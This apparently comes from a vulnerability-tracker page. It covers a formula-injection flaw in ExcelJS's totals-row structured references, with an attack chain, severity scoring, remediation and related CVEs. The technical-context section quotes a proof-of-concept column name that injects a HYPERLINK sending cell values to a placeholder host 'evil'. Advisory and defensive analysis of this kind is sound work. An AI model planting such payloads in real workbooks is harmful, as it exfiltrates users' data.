Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit malicious column name via untrusted CSV header
-
DeliveryApp builds totals-row structured reference
-
ExploitCrafted ']' closes reference and injects HYPERLINK
-
ExecutionVictim opens workbook, enables editing and clicks
-
ImpactAttacker exfiltrates cell values to remote URL
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding for downstream
|
| Exploitation Conditions | Exploitation requires that the host application call ExcelJS addTable with totalsRow enabled AND populate table column names from attacker-influenced data (the advisory names imported CSV headers specifically); the crafted name must contain ']' (or '[', '#', or ''') to escape the SUBTOTAL(109,<table>[<column>]) structured reference, which ExcelJS fails to escape. Exploitation is further gated by required victim interaction: the target must open the generated workbook, enable editing, and click the injected HYPERLINK before cell values are leaked (UI:P). Limiting factors: this is not a default-configuration remote attack - it needs the specific totals-row-from-untrusted-column-names deployment pattern, plus user interaction, and yields only low-sensitivity data disclosure. Applications that do not derive table column names from untrusted input are not affected. |
| Impact | All decision signals point to low real-world priority. The supplied CVSS 4.0 vector (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P) scores only 2.3, and vuln.today's Decision label is 'monitor' - not act_now or emergency. Three independent barriers suppress exploitability: AC:H (the attacker must craft a column name that validly closes the structured reference), AT:P (a specific precondition - the application must feed untrusted data into table column names with a totals row), and UI:P (the victim must open the workbook, enable editing, and click the injected element). KEV status is NO, so there is no confirmed active exploitation, and no EPSS score was provided in the input, so probability of exploitation cannot be quantified from this data. A proof-of-concept does exist in the GHSA advisory. Impact is limited (VC:L/VI:L, no subsequent-system impact), consistent with a formula-injection leak rather than code execution. Net: a genuine, verifiable issue but a low-urgency, defense-in-depth fix rather than an emergency. Note one data nuance to verify: the fixed-version evidence refers to the 'exceljs-hardened' fork, not to upstream exceljs itself. |
| Exploit ScenarioDerived | An application uses ExcelJS to generate workbooks and derives table column names from untrusted input such as imported CSV headers. An attacker submits a CSV whose header contains a ']' that closes the structured reference and appends a HYPERLINK formula; when a victim opens the generated workbook, enables editing, and clicks, cell values are exfiltrated to the attacker's URL. A working proof-of-concept is published in the GHSA advisory, but the attack chain depends on the high-complexity crafting and required user interaction reflected in AC:H/AT:P/UI:P. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 13, 2026
Formula injection in ExcelJS through 4.4.0 allows a crafted table column name to break out of the totals-row SUBTOTAL structured reference and plant an attacker-chosen formula, such as HYPERLINK, in the workbook ExcelJS generates. Exposure is narrow: the host application must call addTable with totalsRow enabled and derive column names from attacker-influenced data (imported CSV headers are the named example), and leaking cell values additionally requires the victim to open the file, enable editing and click the injected link. Severity is low (CVSS 4.0 base 2.3; independent assessment CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N), a public proof-of-concept snippet is published in the upstream advisory, there is no CISA KEV listing, and the vuln.today decision label is monitor - all signals point to low real-world priority.
RemediationAI
Vendor-released patch: exceljs-hardened 5.1.0 (fixes versions <= 5.0.2); for the upstream exceljs package no patched release version is identified in the available data, so upgrade to the fixed fork build or track the upstream repository at https://github.com/exceljs/exceljs for a release that neutralizes the totals-row getter. Where an immediate upgrade is not possible, the code-level requirement is explicit in the advisory: in Excel structured references '[' , ']', '#' and the apostrophe must each be escaped with a leading apostrophe before being interpolated into SUBTOTAL(109,<table>[<column>]), so callers should sanitize or reject table column names containing those four characters before passing them to addTable - the trade-off is that the displayed column header will differ from the raw input string. The alternative structural mitigation is to stop deriving table column names from untrusted sources (for example, map imported CSV headers to a fixed allowlist of safe names, or disable totalsRow where the subtotal formula is not needed), which removes the injection path entirely at the cost of losing the original header text or the totals row behavior. Remediation must assume the generated file may already carry an injected formula, so any workbooks produced from untrusted headers before the fix should be treated as untrusted content when distributed to users.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
ExcelJS is a JavaScript library for reading and writing XLSX workbooks; its table support in lib/doc/table.js (the vulnerable getter spans roughly lines 84-104 at tag v4.4.0) builds the totals-row formula as SUBTOTAL(109,<table>[<column>]) using the raw column name. In Excel structured-reference syntax the characters '[', ']', '#' and the apostrophe must each be escaped with a leading apostrophe, and ExcelJS performs no such neutralization - so a column name containing ']' closes the reference early and the remainder of the name is parsed as formula text. The advisory demonstrates the payload columns: [{name:'k'},{name:'Amount])+HYPERLINK("http://evil/?"&A2,"x")+SUM(T[Amount'} yielding SUBTOTAL(109,T[Amount])+HYPERLINK("http://evil/?"&A2,"x")+SUM(T[Amount]); a benign-looking name such as It's [x] #1 likewise produces a broken reference. The root cause is an improper-neutralization class issue (CWE-116, mapped to CWE-1236 formula injection by the advisory), not a memory-safety defect: the trigger is specifically the totals-row formula getter consuming an unescaped column name, and the CPE cpe:2.3:a:exceljs:exceljs:*:*:*:*:*:*:*:* places every version up to and including 4.4.0 in scope. Impact materializes only later, in the spreadsheet client, when the generated workbook is opened with editing enabled and the injected formula (for example HYPERLINK) is invoked.
Know when Exceljs gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
AC:H because the column name must validly close the structured reference; PR:N since the payload arrives via untrusted import data; UI:R because the victim must open, enable editing and click; C:L/I:L for value exfiltration and formula tampering.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
ExcelJS through 4.4.0 contains a formula injection vulnerability in the totals row formula getter in lib/doc/table.js that fails to escape [, ],
and ' characters in structured reference column names. Attackers can supply column names containing ] via untrusted input like imported CSV headers to inject formulas such as HYPERLINK that exfiltrate cell values when users open and click the generated workbook.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
An unescaped payload in exceljs <v1.6 allows a possible XSS via cell value when worksheet is displayed in browser. Rated
Prototype pollution in exceljs-hardened before 5.0.0 lets a remote attacker corrupt Object.prototype by feeding parsed J
Parsing an untrusted XLSX workbook with ExcelJS through 4.4.0 can exhaust the Node.js heap and abort the entire process,
Denial of service in ExcelJS through 4.4.0: a crafted XLSX containing a <row> element numbered far beyond Excel's 1,048,
ExcelJS through 4.4.0 can be crashed by a crafted .xlsx workbook whose worksheet col element has an unbounded max value:
Loading a maliciously crafted spreadsheet can abort the entire Node.js process in ExcelJS through 4.4.0: a single define
Loading an attacker-supplied .xlsx workbook with ExcelJS through 4.4.0 can exhaust CPU and memory and terminate the Node
Denial of service in ExcelJS through 4.4.0 lets a remote, unauthenticated attacker stall a Node.js service for seconds a
Heap-exhaustion denial of service in ExcelJS through 4.4.0 lets an unauthenticated attacker crash a Node.js application
ExcelJS through 4.4.0 leaks temporary files and open file descriptors when the streaming WorkbookReader aborts mid-parse
Arbitrary local file read in ExcelJS lets a crafted image filename pull any file the Node.js process can read into a gen
Unbounded xlsx decompression in exceljs-hardened before 5.0.0 allows unauthenticated remote attackers to exhaust server
EUVD-2026-125151
GHSA-mc6q-q9x7-hr35
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB